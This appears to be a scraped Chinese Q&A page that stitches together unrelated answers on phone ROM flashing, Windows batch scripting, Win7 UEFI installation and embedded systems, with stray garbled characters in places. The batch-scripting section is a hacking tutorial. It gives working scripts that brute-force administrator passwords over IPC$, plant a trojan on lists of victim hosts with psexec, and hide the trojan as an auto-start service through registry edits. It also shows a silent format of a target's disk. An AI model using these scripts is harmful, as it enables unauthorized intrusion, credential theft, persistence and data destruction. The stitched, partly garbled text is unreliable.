⑴ 華為Ascend D1怎麼刷MIUI
華為Ascend D1刷MIUI的教程如下:一、下載必要文件 下載ROM文件與刷機工具,為刷機過程做准備。 注意: 1.本教程需要在Windows操作系統環境下進行。 2.本教程只針對華為Ascend D1 U9500 雙核 (暫時不支持Ascend D1 XL、Ascend D1 四核)。 (1)需要將D1升級為最新版本,從MIUI恢復至官方版本需要下載ldquo;Ascend_P1_yuanchuangB126_toolsrdquo;此工具包,下載MIUI_ROM最新安裝包,如果已經在下載頁面下載過最新安裝包,無需重新下載。 (2)下載刷機工具包。 (3)准備一張剩餘空間大於2GB的SD卡。將刷機工具包Ascend_D1.zip解壓至電腦桌面。 要解壓MIUI_ROM安裝包,將其直接拷貝到SD卡根目錄下。二、安裝Android USB驅動 准備工作:安裝必要的Android USB驅動,為後續刷機作準備。 注意:如已經安裝過USB驅動:可略過本步驟,前往下一步。 1.在手機上操作 使用USB連接線將手機與電腦連接。在手機桌面按Menu鍵,進入ldquo;設置rdquo;界面。進入應用程序gt;開發人員選項, 將ldquo;USB調試rdquo;打勾。 2.在電腦上操作 打開下載好的工具包 Ascend_D1_tools,選擇安裝 Handset WinDriver.exe,安裝完成後運行 DriverTools 選擇ldquo;安裝驅動rdquo;。此禪廳三、更新內核 更新內核,使手機系統能夠順利的安裝MIUI。 注意:運行此步驟前,確認已成功安裝驅動並且做好相應的備份,內置存儲數據會自動清空並消失,成功安裝MIUI系統後將無法使用,運行此步驟後會清空所有用戶數據並會失去質襲歷保。 1.在電腦上操作 將手機使用USB數據線連接至電腦,運行刷機工具包中 update.bat 整個過程會自動完成,完成之後手機會自動進入森隱recovery模式。四、置入MIUI完整包,清除數據刷入MIUI完整包 1.在手機上操作 在藍色recovery界面依次執行,音量鍵選擇,電源鍵確認。,清空所有數據-是的-清空所有數據,清空緩存-是的-清空緩存。 2在手機上操作 依次執行,音量鍵選擇,電源鍵確認。從SD卡選擇刷機包,從SD卡選擇zip文件miui_Ascend_D1_2.X.X_xxxxxxxxxx_4.0.zip,是的-安裝miui_Ascend_D1_XXXXX,等待完成後選擇-立即重啟系統,手機會自動重啟。五、重啟手機後,如果看到下面圖片,說明刷機成功了。
⑵ 高仿蘋果手機按住音量鍵和開機鍵進入刷機界面,還要與電腦連接嗎
您好,如果您是「雙清」的話,就不需要。如果是要刷機,就需要連接
⑶ 我的手機是華為u8800+給有個可以刷系統的recovery啊
[Recovery] [ATX團隊]中文recovery6.0.1.2增強版,關機充電,電腦讀取內置卡,自動刷機,電量顯示
recovery的特點:
基於最新的6.0.1.2編譯,作了簡單的增強:全中文化,支持關機充電,支持recovery連接笑者電腦讀寫內置卡,支持recovery界面顯示電量,時間,支持自動刷機!
刷Reovery的准備工作
1、到官方申請解鎖碼,需要記錄IMEI碼和MEID碼,註: IMEI碼是GSM網路的,MEID是CDMA網路的,都要填寫 解鎖教程:http://bbs.an.com/thread-5522460-1-1.html
2、安裝驅動,驅動下載: Handset WinDriver.exe (7.65 MB, 下載次數: 4639)
3、下載recovery:
9月4日更新:
1、修正SD卡分區功能錯誤。2、修正出錯圖片顯示錯誤
recovery6.0.1.2_u8825d_v2.exe (6.96 MB, 下載次巧升沒數: 19362)
4、手機上關閉快速啟動,並關機
5、孝納關機後,按住音量下鍵+開機鍵開機,會停留在始終顯示第一屏
6、刷入recovery: 手機連接到電腦,運行recovery6.0.1.2_u8825d.exe,按提示運行即可正確刷入recovery。
詳細地址:http://bbs.an.com/thread-5540158-1-1.html
⑷ 怎麼寫BAT文件呀
就是把DOS命令寫在一個文本文件裡面,然後保存的時候保存成"所有文件", 文件名是 名字.bat 就可以了。
不過BAT文件有很多特殊命令...
批處理製作教程
批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。
在無盤運用及Hack入侵過程中,經常都會用到。
一.簡單批處理內部命令簡介
1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> )結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)
3.Goto 命令
指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
4.Rem 命令
注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
運行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。
6.Call 命令
從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。
7.start 命令
調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數:
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。
9.If 命令
if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。
10.for 命令
for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I
如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (』command』) DO command
或者,如果有 usebackq 選項:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (』command』) DO command
filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=*** - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。
sample1:
FOR /F "eol=;;; tokens=2,3* delims=, " %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或
空格定界符號。請注意,這個 for 程序體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 』z』 或
』Z』 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。
您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括弧之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。
最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
內存,並被當作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變數名稱。
另外,FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:
~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2:
利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%"
/u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%"
/u:"administrator"│find ":命令成功完成">>D:\ok.txt ,這樣就ko了。
sample3:
你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat
%%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If
errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i
%%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat )
---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call
IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat )
---------------------------
------------------- cut here then save as a batchfile(I call it door.bat)
-----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1
USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored
>>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat)
--------------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
二.如何在批處理文件中使用參數
批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添足了~^_^
sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password
username 當著參數來賦給這個批處理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這么帥一定學會了^_^.No.3
三.如何使用組合命令(Compound Command)
1.&
Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做備份的時候可能會用到這種命令會比較簡單,如:
dir file://192.168.0.1/database/backup.mdb &&
file://192.168.0.1/database/backup.mdb E:\backup
如果遠程伺服器上存在backup.mdb文件,就執行命令,若不存在該文件則不執行命令。這種用法可以替換IF exist了 :)
3.││
Usage:第一條命令 ││ 第二條命令 [││ 第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;
Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子:
sample:
@ trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1
USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1.│ 命令
Usage:第一條命令 │ 第二條命令 [│ 第三條命令...]
將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。
sample:
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer
看出來了么?用於終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個bat,以獲得登錄用戶的IP。
2.>、>>輸出重定向命令
將一條命令或某個程序輸出結果的重定向到特定文件中, > 與
>>的區別在於,>會清除調原有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下的EXE和DLL文件作一個記錄:
運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然後運行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt
dllback1.txt>diff.txt.(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32
/u trojan.dll將後門DLL文件注銷掉,再把它移到回收站里,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟體公司。
3.< 、>& 、<&
< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個句柄的輸出寫入到另一個句柄的輸入中。
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
這些並不常用,也就不多做介紹。
No.5
五.如何用批處理文件來操作注冊表
在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的,例如:為了達到隱藏後門、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以載入後門。當然我們也會修改注冊表來加固系統或者改變系統的某個屬性,這些都需要我們對注冊表操作有一定的了解。下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG文件)
關於注冊表的操作,常見的是創建、修改、刪除。
1.創建
創建分為兩種,一種是創建子項(Subkey)
我們創建一個文件,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字為「hacker」的子項。
另一種是創建一個項目名稱
那這種文件格式就是典型的文件格式,和你從注冊表中導出的文件格式一致,內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about這三個項目
Invader的類型是「String Value」
door的類型是「REG SZ Value」
Autodos的類型是「DWORD Value」
2.修改
修改相對來說比較簡單,只要把你需要修改的項目導出,然後用記事本進行修改,然後導入(regedit /s)即可。
3.刪除
我們首先來說說刪除一個項目名稱,我們創建一個如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被刪除了;
我們再看看刪除一個子項,我們創建一個如下的腳本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被刪除了。
相信看到這里,.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容的.reg文件了,記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。
samlpe1:如上面的那個例子,如想生成如下注冊表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要這樣:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我們現在在使用一些比較老的木馬時,可能會在注冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現木馬的自啟動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
>>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname=
WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [刪除DSNXDE在注冊表中的啟動項,用sc.exe將之注冊為系統關鍵性服務的同時將其屬性設為隱藏和只讀,並config為自啟動]
@REM 這樣不是更安全^_^.
⑸ win8.1怎麼用windriver
1、准備好工具 ① 下載原版64位Win7鏡像,下載哪一個版本都可以。推薦安裝專業版(原因在教程結尾),如果下載的不是專業版,只需要在安裝前刪掉sources目錄中的ei.cfg文件即可選薯宏陪擇安裝任意版本,當然也包括專業版。注意,企業版鏡像內只包含企業版系統,不能通過這種方法安裝其他版本。 ② (可選)如果沒有備用電腦,建議下載集成萬能網卡驅動的「驅動精靈(擴展版)」,以防系統安裝後因網卡沒有驅動而無法連接到網路。安裝軟體時注意捆綁選項! 2、安裝前的設置 安裝前需要設置三個選項,而且是必須設置的選項,缺一不可(缺少任何一個都無法在UEFI下啟動Win7)。 ① 關閉默認的系統載入優化選項 將絕殲OS Optimized Defaults設置為關數蠢閉(Disabled) 提示:有些電腦OS Optimized Defaults選項中為win8(64)和other OS 兩個選項,選擇other OS即可。 ② 打開CSM 兼容模塊 將CSM Support設置為開啟(YES) 提示1:CSM兼容模塊,有的電腦的確沒有,可以找BIOS mode設置為leagac support,再找Boot priority設置為uefi frist,這樣也表示在uefi下開啟csm(感謝郭偉提供方法)。 提示2:如果以上方法也不奏效,或者說找不到任何相關設置選項,那可能你所用的電腦就不支持UEFI啟動Win7了。 ③ 關閉安全啟動 打開secure Boot(安全啟動)設置選項。 將secure Boot設置為關閉(Disabled) 提示:有些機型(比如宏碁)默認關閉secure boot模式選項為灰色不可更改狀態,經探索發現首先要給bios設訪問密碼,然後secure boot 才會從之前的灰色不可更改狀態變為可更改狀態。 2、設置完畢後,接下來你可以選擇多種方法來安裝Win7,較簡單的方法有: U盤啟動安裝法:如果手頭有U盤:UEFI引導安裝64位Win7/Win8》這篇文章來安裝(跳過其中的第一步,即UEFI設置),原文以安裝Win8為例,安裝Win7與之唯一不同的是還需要在U盤中添加bootx64.efi文件。注意,非專業版鏡像安裝專業版,記得刪掉ei.cfg文件。 硬碟啟動安裝法:除了U盤安裝法之外,還可以使用NT6 HDD installer工具來安裝,過程完全相同。注意,非專業版鏡像安裝專業版,記得刪掉ei.cfg文件。 3、准備好分區和Win7安裝文件 ① 准備安裝分區:如果想替換掉現有的Win8/8.1系統,則不必准備安裝分區。如果要安裝雙系統,你需要在硬碟上開辟新的分區,方法請參考下面的「如何劃分新的分區?」。 如何劃分新的分區? 在系統左下角右鍵單擊,打開「磁碟管理」,在剩餘空間較大的分區上面右鍵單擊,選擇「壓縮卷」,「壓縮空間量」 這里輸入新分區的大小,點擊「壓縮」。這時候磁碟中會出現一個「未分配空間」,右鍵單擊「未分配空間」,選擇「新建簡單卷」,然後一路下一步,最後你的硬 盤就會出現一個新的空分區了。 ② 准備Win7安裝文件:這一步很簡單,打開ISO鏡像,將鏡像中的sources文件夾復制到你電腦硬碟的某個分區中,再刪掉sources目錄中的ei.cfg文件(如果有的話)即可。注意,這個分區可以是任意一個分區但不能是將要安裝Win7的那個分區,分區中可以有其他文件存在。如有需要參考上面的「如何劃分新的分區」來開辟新的分區。 4、啟動安裝程序 按Shift+重啟進入高級啟動選項,進入恢復環境打開命令提示符, 提示:如果這一步提示錯誤,很可能是恢復環境配置出了問題。嘗試禁用恢復環境再啟用恢復環境,一般可解決問題。右鍵單擊選擇「以管理員身份運行」。 選擇「疑難解答」--選擇「高級選項」--選擇「命令提示符」。 打開命令提示符後,只需要在裡面輸入安裝程序的路徑就可以啟動安裝程序了。 輸入安裝程序路徑,回車 安裝程序已啟動。 5、安裝過程中的關鍵設置步驟 選擇「自定義(高級)」--選擇「專業版」。 這里列出了硬碟上所有的分區。這些分區從1到6分別代表恢復分區(WinRE)、EFI系統分區、MSR保留分區、Windows安裝分區(原Win8/8.1所在分區)、個人文件分區(Win7安裝文件就存放在這里)、OEM分區(用於一鍵恢復的啟動分區以及系統備份佔用的分區)。電腦中硬碟的分區情況和圖中的會有一些差異,但一定會有一些很相似的分區(紅色字體標注的分區)。 到了關鍵步驟,把1~4分區全部刪掉。 注意,刪除分區會同時刪除這個分區中的所有文件,第5分區是絕不可以刪除的,因為Win7安裝文件存放在5分區裡面!如果想保留出廠系統一鍵恢復,只刪除2、3、4,其他勿動。因為每個電腦分區情況可能不一樣,在動手操作時請根據各個分區的作用以及個人需求決定是否刪除。 刪除分區之後會出現未分配空間,選中最上面的未分配空間,點擊「新建」,輸入你想為系統分配的空間大小(建議不小於50G,單位換算工具,默認為NTFS)。新建分區時會額外創建兩個分區:EFI系統分區(第一個)和MSR保留分區(第二個)。 選中分好的分區,這里即3分區,點「下一步」就開始安裝了。 後續安裝過程中會重啟一次….還需要一些和賬戶相關的設置,根據提示設置即可…. 過程從略……
⑹ 嵌入式 是什麼
嵌入式 是什麼
(Institute of Electrical and Electronics Engineers,美國電氣和電子櫻盯工程師協會)對嵌入式系統的定義:「用於控制、監視或者輔助操作機器和裝置的裝置」。原文為:Devices Used to Control,Monitor or Assist the Operation of Equipment,Machinery or Plants)。
嵌入式系統是一種專用的計算機系統,作為裝置或裝置的一部分。通常,嵌入式系統是一個控製程式儲存在ROM中的嵌入式處理器控哪頌頌制板。事實上,所有帶有數字介面的裝置,如手錶、微波爐、錄影機、汽車等,都使用嵌入式系統,有些嵌入式系統還包含作業系統,但大多數嵌入式系統都是由單個程式實現整個控制邏輯。[1]
